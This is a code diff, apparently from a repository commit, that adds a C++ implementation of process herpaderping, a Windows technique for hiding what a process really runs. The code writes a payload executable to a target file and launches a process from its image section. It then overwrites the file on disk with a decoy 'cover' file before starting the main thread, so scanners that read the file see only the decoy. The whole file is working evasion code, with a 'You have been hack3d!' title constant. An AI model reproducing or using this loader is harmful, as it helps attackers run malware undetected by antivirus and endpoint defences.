|
| 1 | +#include "Herpaderping.h" |
| 2 | +#include <iostream> |
| 3 | + |
| 4 | +constexpr auto PROCESS_CREATE_FLAGS_INHERIT_HANDLES = 0x00000004; |
| 5 | +constexpr auto TARGET_PROCESS_TITLE = L"You have been hack3d!"; |
| 6 | +constexpr auto DEFAULT_WINDOWS_STATION = L"WinSta0\\Default"; |
| 7 | + |
| 8 | +Herpaderping::Herpaderping(std::string path_to_source, std::string path_to_target, std::string path_to_cover) : |
| 9 | + section_handle(), |
| 10 | + target_process(), |
| 11 | + target_file(), |
| 12 | + source_file_payload(), |
| 13 | + ntdll_functions(std::make_unique<NtdllFunctions>()), |
| 14 | + path_to_source(path_to_source), |
| 15 | + path_to_target(path_to_target), |
| 16 | + path_to_cover(path_to_cover) |
| 17 | +{ } |
| 18 | + |
| 19 | +void Herpaderping::run_process_with_cover() |
| 20 | +{ |
| 21 | + read_source_payload(); |
| 22 | + |
| 23 | + create_target_file_and_write_payload(); |
| 24 | + |
| 25 | + create_target_process(); |
| 26 | + |
| 27 | + cover_target_file(); |
| 28 | + |
| 29 | + create_and_run_target_main_thread(); |
| 30 | +} |
| 31 | + |
| 32 | +void Herpaderping::read_source_payload() |
| 33 | +{ |
| 34 | + HANDLE source_file = CreateFileA(this->path_to_source.c_str(), |
| 35 | + GENERIC_READ, |
| 36 | + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, |
| 37 | + nullptr, |
| 38 | + OPEN_EXISTING, |
| 39 | + FILE_ATTRIBUTE_NORMAL, |
| 40 | + nullptr); |
| 41 | + if (INVALID_HANDLE_VALUE == source_file) { |
| 42 | + throw std::runtime_error("CreateFileA: failed to open source file. Error: " + error_to_str(GetLastError())); |
| 43 | + } |
| 44 | + |
| 45 | + DWORD source_file_size = GetFileSize(source_file, nullptr); |
| 46 | + if (INVALID_FILE_SIZE == source_file_size) { |
| 47 | + throw std::runtime_error("GetFileSize: failed to retreive source file size. Error: " + error_to_str(GetLastError())); |
| 48 | + } |
| 49 | + |
| 50 | + // TODO: check working! |
| 51 | + this->source_file_payload = std::make_unique<std::vector<char>>(source_file_size); |
| 52 | + if (!ReadFile(source_file, source_file_payload.get()->data(), source_file_size, nullptr, nullptr)) { |
| 53 | + throw std::runtime_error("ReadFile: failed to read source file. Error: " + error_to_str(GetLastError())); |
| 54 | + } |
| 55 | +} |
| 56 | + |
| 57 | +void Herpaderping::create_target_file_and_write_payload() |
| 58 | +{ |
| 59 | + this->target_file = CreateFileA(this->path_to_target.c_str(), |
| 60 | + GENERIC_READ | GENERIC_WRITE, |
| 61 | + 0, |
| 62 | + nullptr, |
| 63 | + CREATE_ALWAYS, |
| 64 | + FILE_ATTRIBUTE_NORMAL, |
| 65 | + nullptr); |
| 66 | + if (INVALID_HANDLE_VALUE == this->target_file) { |
| 67 | + throw std::runtime_error("CreateFileA: failed to create target file. Error: " + error_to_str(GetLastError())); |
| 68 | + } |
| 69 | + |
| 70 | + DWORD a = 0; |
| 71 | + if (!WriteFile(this->target_file, |
| 72 | + source_file_payload.get()->data(), |
| 73 | + source_file_payload.get()->size(), |
| 74 | + &a, |
| 75 | + nullptr)) { |
| 76 | + throw std::runtime_error("WriteFile: failed to write source file to target file. Error: " + error_to_str(GetLastError())); |
| 77 | + } |
| 78 | +} |
| 79 | + |
| 80 | +void Herpaderping::create_target_process() |
| 81 | +{ |
| 82 | + NTSTATUS create_section_return_value = (*ntdll_functions).NtCreateSection(§ion_handle, |
| 83 | + SECTION_ALL_ACCESS, |
| 84 | + nullptr, |
| 85 | + nullptr, |
| 86 | + PAGE_READONLY, |
| 87 | + SEC_IMAGE, |
| 88 | + target_file); |
| 89 | + if (create_section_return_value) { |
| 90 | + throw std::runtime_error("NtCreateSection: failed to create section. Error: " + error_to_str(create_section_return_value)); |
| 91 | + } |
| 92 | + |
| 93 | + ntdll_functions->NtCreateProcessEx(&target_process, |
| 94 | + PROCESS_ALL_ACCESS, |
| 95 | + nullptr, |
| 96 | + GetCurrentProcess(), |
| 97 | + PROCESS_CREATE_FLAGS_INHERIT_HANDLES, |
| 98 | + section_handle, |
| 99 | + nullptr, |
| 100 | + nullptr, |
| 101 | + FALSE); |
| 102 | +} |
| 103 | + |
| 104 | +void Herpaderping::cover_target_file() |
| 105 | +{ |
| 106 | + HANDLE cover_file_handle = CreateFileA(this->path_to_cover.c_str(), |
| 107 | + GENERIC_READ, |
| 108 | + 0, |
| 109 | + nullptr, |
| 110 | + OPEN_EXISTING, |
| 111 | + FILE_ATTRIBUTE_NORMAL, |
| 112 | + nullptr); |
| 113 | + if (INVALID_HANDLE_VALUE == cover_file_handle) { |
| 114 | + throw std::runtime_error("CreateFileA: failed to open cover file. Error: " + error_to_str(GetLastError())); |
| 115 | + } |
| 116 | + |
| 117 | + auto cover_file_size = GetFileSize(cover_file_handle, nullptr); |
| 118 | + if (INVALID_FILE_SIZE == cover_file_size) { |
| 119 | + throw std::runtime_error("GetFileSize: failed to get cover file size. Error: " + error_to_str(GetLastError())); |
| 120 | + } |
| 121 | + |
| 122 | + auto cover_file_content = std::make_unique<std::vector<char>>(cover_file_size); |
| 123 | + if (!ReadFile(cover_file_handle, cover_file_content.get()->data(), cover_file_size, nullptr, nullptr)) { |
| 124 | + throw std::runtime_error("ReadFile: failed to read cover file. Error: " + error_to_str(GetLastError())); |
| 125 | + } |
| 126 | + |
| 127 | + if (INVALID_SET_FILE_POINTER == SetFilePointer(this->target_file, 0, nullptr, FILE_BEGIN)) { |
| 128 | + throw std::runtime_error("SetFilePointer: failed to set target file pointer. Error: " + error_to_str(GetLastError())); |
| 129 | + } |
| 130 | + |
| 131 | + if (!WriteFile(this->target_file, cover_file_content.get()->data(), cover_file_size, nullptr, nullptr)) { |
| 132 | + throw std::runtime_error("WriteFile: failed to overwrite target file. Error: " + error_to_str(GetLastError())); |
| 133 | + } |
| 134 | +} |
| 135 | + |
| 136 | +void Herpaderping::create_and_run_target_main_thread() |
| 137 | +{ |
| 138 | + PRTL_USER_PROCESS_PARAMETERS process_parameters = nullptr; |
| 139 | + UNICODE_STRING image_path_name; |
| 140 | + UNICODE_STRING command_line; |
| 141 | + UNICODE_STRING title; |
| 142 | + UNICODE_STRING desktop_info; |
| 143 | + PROCESS_BASIC_INFORMATION current_process_pbi; |
| 144 | + PEB64 current_process_peb; |
| 145 | + |
| 146 | + // TODO: check return value |
| 147 | + ntdll_functions->NtQueryInformationProcess(GetCurrentProcess(), |
| 148 | + ProcessBasicInformation, |
| 149 | + ¤t_process_pbi, |
| 150 | + sizeof(current_process_pbi), |
| 151 | + nullptr); |
| 152 | + |
| 153 | + current_process_peb = *reinterpret_cast<PEB64*>(current_process_pbi.PebBaseAddress); |
| 154 | + |
| 155 | + ntdll_functions->RtlInitUnicodeString(&image_path_name, L"C:\\Users\\idano\\Workspace\\Projects\\Herpaderping\\x64\\Debug\\target2.exe"); |
| 156 | + ntdll_functions->RtlInitUnicodeString(&command_line, L"\"C:\\Users\\idano\\Workspace\\Projects\\Herpaderping\\x64\\Debug\\target2.exe\""); |
| 157 | + ntdll_functions->RtlInitUnicodeString(&title, L"Test"); |
| 158 | + ntdll_functions->RtlInitUnicodeString(&desktop_info, L"WinSta0\\Default"); |
| 159 | + |
| 160 | + ntdll_functions->RtlCreateProcessParametersEx(&process_parameters, |
| 161 | + &image_path_name, |
| 162 | + nullptr, |
| 163 | + nullptr, |
| 164 | + &command_line, |
| 165 | + reinterpret_cast<PRTL_USER_PROCESS_PARAMETERS>(current_process_peb.ProcessParameters)->Environment, |
| 166 | + &title, |
| 167 | + &desktop_info, |
| 168 | + nullptr, |
| 169 | + nullptr, |
| 170 | + 0); |
| 171 | + |
| 172 | + PROCESS_BASIC_INFORMATION pbi; |
| 173 | + ntdll_functions->NtQueryInformationProcess(this->target_process, |
| 174 | + ProcessBasicInformation, |
| 175 | + &pbi, |
| 176 | + sizeof(pbi), |
| 177 | + nullptr); |
| 178 | + |
| 179 | + // Allocate space for the parameters in our created process. |
| 180 | + auto process_allocated_space = VirtualAllocEx(this->target_process, |
| 181 | + nullptr, |
| 182 | + process_parameters->MaximumLength + process_parameters->EnvironmentSize, |
| 183 | + MEM_COMMIT | MEM_RESERVE, |
| 184 | + PAGE_READWRITE); |
| 185 | + if (NULL == process_allocated_space) { |
| 186 | + throw std::runtime_error("VirtualAllocEx: failed to allocate memory in target process. Error: " + error_to_str(GetLastError())); |
| 187 | + } |
| 188 | + |
| 189 | + process_parameters->Environment = reinterpret_cast<PBYTE>(process_allocated_space) + process_parameters->Length; |
| 190 | + |
| 191 | + // Write process parameters to the process. |
| 192 | + if (!WriteProcessMemory(this->target_process, |
| 193 | + process_allocated_space, |
| 194 | + process_parameters, |
| 195 | + process_parameters->MaximumLength + process_parameters->EnvironmentSize, |
| 196 | + nullptr)) { |
| 197 | + throw std::runtime_error("WriteProcessMemory: failed to write parameters to target process. Error: " + error_to_str(GetLastError())); |
| 198 | + } |
| 199 | + |
| 200 | + // Update the ProcessParameters in the process PEB to point to our parameters. |
| 201 | + if (!WriteProcessMemory(this->target_process, |
| 202 | + reinterpret_cast<unsigned char*>(pbi.PebBaseAddress) + offsetof(PEB64, ProcessParameters), |
| 203 | + &process_allocated_space, |
| 204 | + sizeof(process_allocated_space), |
| 205 | + nullptr)) { |
| 206 | + throw std::runtime_error("WriteProcessMemory: failed to update target process's PEB. Error: " + error_to_str(GetLastError())); |
| 207 | + } |
| 208 | + |
| 209 | + const PIMAGE_DOS_HEADER payload_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(this->source_file_payload.get()->data()); |
| 210 | + const PIMAGE_NT_HEADERS64 payload_nt_header = reinterpret_cast<PIMAGE_NT_HEADERS64>(this->source_file_payload.get()->data() + payload_dos_header->e_lfanew); |
| 211 | + |
| 212 | + // Read createed process memory to find base address. |
| 213 | + PEB64 process_peb; |
| 214 | + if (!ReadProcessMemory(this->target_process, |
| 215 | + pbi.PebBaseAddress, |
| 216 | + &process_peb, |
| 217 | + sizeof(process_peb), |
| 218 | + nullptr)) { |
| 219 | + throw std::runtime_error("ReadProcessMemory: failed to read process memory. Error: " + error_to_str(GetLastError())); |
| 220 | + } |
| 221 | + |
| 222 | + ULONGLONG entry_point = process_peb.ImageBaseAddress + payload_nt_header->OptionalHeader.AddressOfEntryPoint; |
| 223 | + |
| 224 | + HANDLE thread_handle; |
| 225 | + ntdll_functions->NtCreateThreadEx(&thread_handle, |
| 226 | + THREAD_ALL_ACCESS, |
| 227 | + nullptr, |
| 228 | + this->target_process, |
| 229 | + reinterpret_cast<PVOID>(entry_point), |
| 230 | + nullptr, |
| 231 | + 0, |
| 232 | + 0, |
| 233 | + 0, |
| 234 | + 0, |
| 235 | + nullptr); |
| 236 | + if (NULL == thread_handle) { |
| 237 | + throw std::runtime_error("NtCreateThreadEx: failed to create target process' main thread. Error: " + error_to_str(GetLastError())); |
| 238 | + } |
| 239 | +} |
0 commit comments